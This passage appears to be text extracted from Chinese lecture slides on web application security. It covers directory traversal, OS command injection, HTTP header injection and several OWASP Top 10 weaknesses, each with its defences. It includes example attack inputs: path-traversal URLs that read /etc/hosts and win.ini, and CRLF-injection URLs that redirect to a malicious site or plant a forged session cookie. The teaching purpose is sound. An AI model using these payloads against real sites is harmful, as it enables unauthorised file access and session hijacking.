验证；让网站记住登录用户名和密码时要小心。留在客户端的登录信息可能会攻击者加以利用；在URL和表单中增加的每个请求，必须提供基本会话令牌以外的每个请求用户验证；从Web应用程序中删除所有XSS漏洞。防御CSRF攻击五、目录遍历及其防范许多Web应用支持外界以参数的形式来指定服务器上的文件名，如果服务器在处理用户请求时不对文件名进行充分校验，就可能出问题，如：文件被非法获取，导致重要信息被泄露；文件被篡改，如篡改网页内容以发布不实消息，设置圈套将用户诱导至恶意网站，篡改脚本文件从而在服务器上执行任意脚本等；文件被删除，如删除脚本文件或配置文件导致服务器宕机等目录遍历一般来说，如果Web应用满足以下3个条件时，就有可能产生目录遍历漏洞外界能够指定文件名能够使用绝对路径或相对路径等形式来指定其它目录的文件名没有对拼接后的文件名进行校验就允许访问该文件目录遍历目录遍历/example/ex.php?template=../../../../etc/hosts%00将显示/etc/hosts文件内容目录遍历/online/getnews.asp?item=20March2007.html/online/getnews.asp?item=../../../../windows/win.ini提交申请获取某个新闻网页文件

使用../从当前目录跳到上一级目录

目录遍历成功将读取到windows目录下的win.ini文件

避免由外界指定文件名将文件名固定，保存在会话变量中，不直接指定文件名，而是使用编号等方法间接指定文件名中不允许包含目录名不同系统中表示目录的字符有所不同，常见的有：/、\、:等限定文件中仅包含字母或数字有些攻击使用不同的编码转换进行过滤性的绕过，如通过对参数进行URL编码来绕过检查目录遍历防御downfile.jsp?filename=%66%61%6E%2E%70%64%66六、操作系统命令注入及防范很多Web应用编程语言支持应用通过Shell执行操作系统（OS）命令。通过Shell执行OS命令，或开发中用到的某个方法在其内部使用了Shell，就有可能出现恶意利用Shell提供的功能来任意执行OS命令的情况，这就是OS命令注入OS命令注入OS命令注入上述攻击成功的主要原因是Shell支持连续执行多条命令，如Unix操作系统Shell中使用分号（;）或管道（|）等字符支持连续执行多条命令，Windows操作系统cmd.exe使用&符号来连接多条命令。这些符号一般称为Shell的元字符，如果OS命令参数中混入了元字符，就会使攻击者添加的操作系统命令被执行，这就是OS注入漏洞产生的原因OS命令注入OS命令注入攻击的一般流程为：从外部下载攻击用软件；对下载来的软件授予执行权限；从内部攻击操作系统漏洞以取得管理员权限；攻击者在Web服务器上执行攻击操作，如：浏览、篡改或删除Web服务器内的文件，对外发送邮件，以此服务器作跳板攻击其他服务器等。OS命令注入OS命令注入攻击防御策略：选择不调用操作系统命令的实现方法，即不调用Shell功能，而用其它方法实现；避免使用内部可能会调用Shell的函数；不将外部输入的字符串作为命令行参数；使用安全的函数对传递给操作系统的参数进行转义，消除Shell元字符带来的威胁。由于Shell转义规则的复杂性以及其它一些环境相关的原因，这一方法有时很难完全凑效。OS命令注入防御七、HTTP消息头注入攻击及防范指在重定向或生成Cookie时，基于外部传入的参数生成HTTP响应头：HTTP响应头信息一般以文本格式逐行定义消息头，即消息头之间互相以换行符隔开。攻击者可以利用这一特点，在指定重定向目标URL或Cookie值的参数中插入换行符且该换行符又被直接作为响应输出，从而在受害者的浏览器上任意添加响应消息头或伪造响应消息体：生成任意Cookie，重定向到任意URL，更改页面显示内容，执行任意JavaScript而造成与XSS同样效果HTTP消息头注入看下面的例子HTTP消息头注入/web/in.cfg?url=/%0D%0ALocation:+http://trap.com/web/attack.php执行之后，浏览器会跳转到恶意网站/web/attack.php，而不是期望的正常网站。造成这一结果的主要原因是，CGI脚本里使用的查询字符串url中包含了换行符（%0D%0A）。出两个消息头：

Location:Location:/web/attack.php采用类似方法可以生成任意Cookie，看下面例子HTTP消息头注入/web/in.cfg?url=/web/exampple.php%0D%0ASet-Cookie:+SESSID=ac13rkd90执行之后，两个消息头：

Set-Cookie:SESSID=ac13rkd90Location:/web/exampple.php不将外部传入参数作为HTTP响应消息头输出，如不直接使用URL指定重定向目标，而是将其固定或通过编号等方式来指定，或使用Web应用开发工具中提供的会话变量来转交URL；由专门的API来进行重定向或生成Cookie，并严格检验生成消息头的参数中的换行符HTTP消息头注入防御八、其它攻击1、恶意文件执行Codevulnerabletoremotefileinclusion(RFI)allowsattackerstoincludehostilecodeanddata,resultingindevastatingattacks,suchastotalservercompromise.MaliciousfileexecutionattacksaffectPHP,XMLandanyframeworkwhichacceptsfilenamesorfilesfromusers.OWASPDefinition

1、恶意文件执行恶意文件执行漏洞也称为不安全的远程文件包含漏洞；需要用户提供输入文件名的Web程序容易受到攻击：如果对用户输入不验证，攻击者可借此操控Web程序执行系统程序或外部URL；允许上传文件给Web程序带来的危害更大可以将可执行代码放置到Web应用中去；可以替换Session文件、日志文件或认证令牌1、防御恶意文件执行漏洞禁止用户输入被用作输入文件片断；对于必须要用户输入文件名、URL的地方，执行严格的检查验证输入合法性；文件上传的处理要非常小心：文件只允许上传到webroot目录以外的目录中，这样能防止文件被执行；限制或隔离Web程序对文件的访问权限。2、不安全的直接对象引用Adirectobjectreferenceoccurswhenadeveloperexposesareferencetoaninternalimplementationobject,suchasafile,directory,databaserecord,orkey,asaURLorformparameter.Attackerscanmanipulatethosereferencestoaccessotherobjectswithoutauthorization.OWASPDefinition

2、不安全的直接对象引用不安全的直接对象引用漏洞也常称为目录遍历漏洞；Web程序常常会暴露内部对象，包括：文件或目录URL数据库口令数据库的一些对象名称，比如表名如果访问控制配置不合理，攻击者就可以不经授权地操作这些暴露的内部对象。2、防御不安全的直接对象引用锁定Web目录。使得通过网络访问Web服务器的用户都不能访问除专门用于存放Web内容的目录以外的目录；对于每一次对象引用都要重新验证授权；禁止通过参数暴露内部对象；建议使用间接映射的方法取代简单的直接对象引用，比如：/application?file=1

3、信息泄露和不当的错误处理

Applicationscanunintentionallyleakinformationabouttheirconfiguration,internalworkings,orviolateprivacythroughavarietyofapplicationproblems.Attackersusethisweaknesstostealsensitivedataorconductmoreseriousattacks.OWASPDefinition

3、信息泄露和不当的错误处理敏感信息泄露常常细微难以察觉！常见的脆弱点：堆栈跟踪信息SQL状态信息登录失败信息授权信息4、不当的错误处理示例MicrosoftOLEDBProviderforODBCDriverserror'80004005'[Microsoft][ODBCMicrosoftAccess97Driver]Can'topendatabase‘VDPROD'.java.sql.SQLException:ORA-00600:internalerrorcode,arguments:[ttcgnd-1],[0],[],[],[],atoracle.jdbc.dbaccess.DBError.throwSqlException(DBError.java:169)atoracle.jdbc.ttc7.TTIcessError(TTIoer.java:208)示例1：示例2：错误处理信息对于Debug非常有用，但是为攻击者提供了太多潜在可用的攻击信息！4、防御信息泄露每个应用程序都应包含一个标准的错误处理框架来处理异常：禁止显示堆栈跟踪、数据库访问、协议等相关的信息；Web程序应只提供尽量简短、“刚好够用”的错误处理信息给用户；5、认证和会话管理不完善

Accountcredentialsandsessiontokensareoftennotproperlyprotected.Attackerscompromisepasswords,keys,orauthenticationtokenstoassumeotherusers’identities.OWASPDefinition

会话(Session)管理HTTP/HTTPS是“无状态”协议意味着每一次用户请求都需要认证会话管理解决了这样的问题：当一个用户得到服务器认证后，服务器如何识别和处理这个认证用户接下来的请求Web程序一般会提供内置的会话跟踪方法，方便用户的使用；Web开发者常采用自己的策略来实现会话状态管理，可能会犯错误而导致安全问题。会话管理：SessionID唯一地标识用户一个ID仅用于一次认证会话由服务器生成以如下的形式发送给客户端：隐式变量HTTPcookieURL查询串服务器期待用户在下一次请求时发送同样的ID（用来标识用户已被认证）会话管理：SessionHijackingSessionID可能被泄露和猜解，黑客可以：获取用户的帐号做任何受害者能做的事情：一个使用同样SessionID的攻击者将拥有和真正用户相同的特权。认证和会话管理攻击流程CustomCodeAccountsFinanceAdministrationTransactionsCommunicationKnowledgeMgmtE-CommerceBus.Functions1用户发送认证信息2站点进行URL重写(i.e.,把session放到URL中)3用户在一个论坛中点击了

这个链接?JSESSIONID=9FA1DB9EA...4黑客在

的日志文件中得到用户的JSESSIONID值5黑客使用JSESSIONID获取到受害者的帐号5、防御会话管理攻击使用长且复杂的随机SessionID，难以猜解；对SessionID的传输、存储进行保护，防止被泄露和劫持；使用SSL时，必须保护认证和SessionID两部分的内容；URL查询字符串中不要包含有User/Session任何信息。6、不安全的加密存储

Webapplicationsrarelyusecryptographicfunctionsproperlytoprotectdataandcredentials.Attackersuseweaklyprotecteddatatoconductidentitytheftandothercrimes,suchascreditcardfraud.OWASPDefinition

6、不安全的加密存储常见的问题：对敏感信息没有加密；继续使用已被证明加密强度不高的算法（MD5,SHA-1,RC3,RC4,etc.）；加密方法使用不安全，比如对加密口令的存储不加保护；尝试使用自己发明的加密方法（实践证明这种方法比较糟糕！）。6、不安全的加密存储示例CustomCodeAccountsFinanceAdministrationTransactionsCommunicationKnowledgeMgmtE-CommerceBus.Functions1用户在Web表单中填写信用卡号提交2由于商家的网关不可达，交易失败，错误处理日志将问题详细记录下来4使用恶意代码从日志文件中偷取数万计的信用卡号Logfiles3日志文件可被相关IT职员访问，用于程序调试6、防御不安全的加密存储如非必要，不要保存敏感信息；确保所有的敏感信息都被加密，检查敏感信息的归档过程和政策；只使用经过证明的标准加密算法；小心存储口令、证书等信息。7、URL访问缺少限制

Frequently,anapplicationonlyprotectssensitivefunctionalitybypreventingthedisplayoflinksorURLstounauthorizedusers.AttackerscanusethisweaknesstoaccessandperformunauthorizedoperationsbyaccessingthoseURLsdirectly.OWASPDefinition

7、URL访问缺少限制当Web应用缺少对某些URL的访问限制，攻击者可以直接在浏览器中输入URL来访问。比如：Add_account_form.php在显示这个表单页时要先对用户的管理员角色进行验证；表单填好后发送给add_acct.php执行添加帐号的功能；

如果不限制add_acct.php的直接访问，攻击者直接在浏览器中访问该页面，就绕过了权限检查。7、防御缺少限制的URL访问从需求阶段就要制定详细的安全策略；从页面到每一个功能，都只由相应的经过认证的角色来访问；访问控制策略越简单越好。从早期做起！彻底地测试！进行详尽地测试保证访问控制没有被旁路；尝试所有的非法访问；测试时不要跟随Web应用的正常工作流；序列化（serialization）是指将内存中对象的状态信息转换为可以存储或传输的形式，并将转换后的数据写入到临时或持久性存储区。反序列化（unserialization）则是执行相反的过程，从序列化的表示形式中提取数据，并直接设置对象状态，重新创建该对象。8、反序列化安全漏洞当Web应用接收序列化数据，并将其反序列化后，未经任何过滤将数据传输到敏感操作函数，例如文件读写函数file_put_contents()以及修改cookie或者session函数等。如果序列化数据为对象时，则可能将对象成员变量设置为特殊值，当这些成员变量被使用时，就有可能触发漏洞。8、反序列化安全漏洞Web服务器经常需要从别的服务器获取数据，比如文件载入、图片拉取、图片识别等，如果获取数据的服务器地址可控，攻击者就可以通过Web服务器自定义向别的服务器（内网或外网）发出请求。9、服务器端请求伪造（SSRF）防御措施如果Web应用程序需要在请求中传递URL，则应尽量使用IP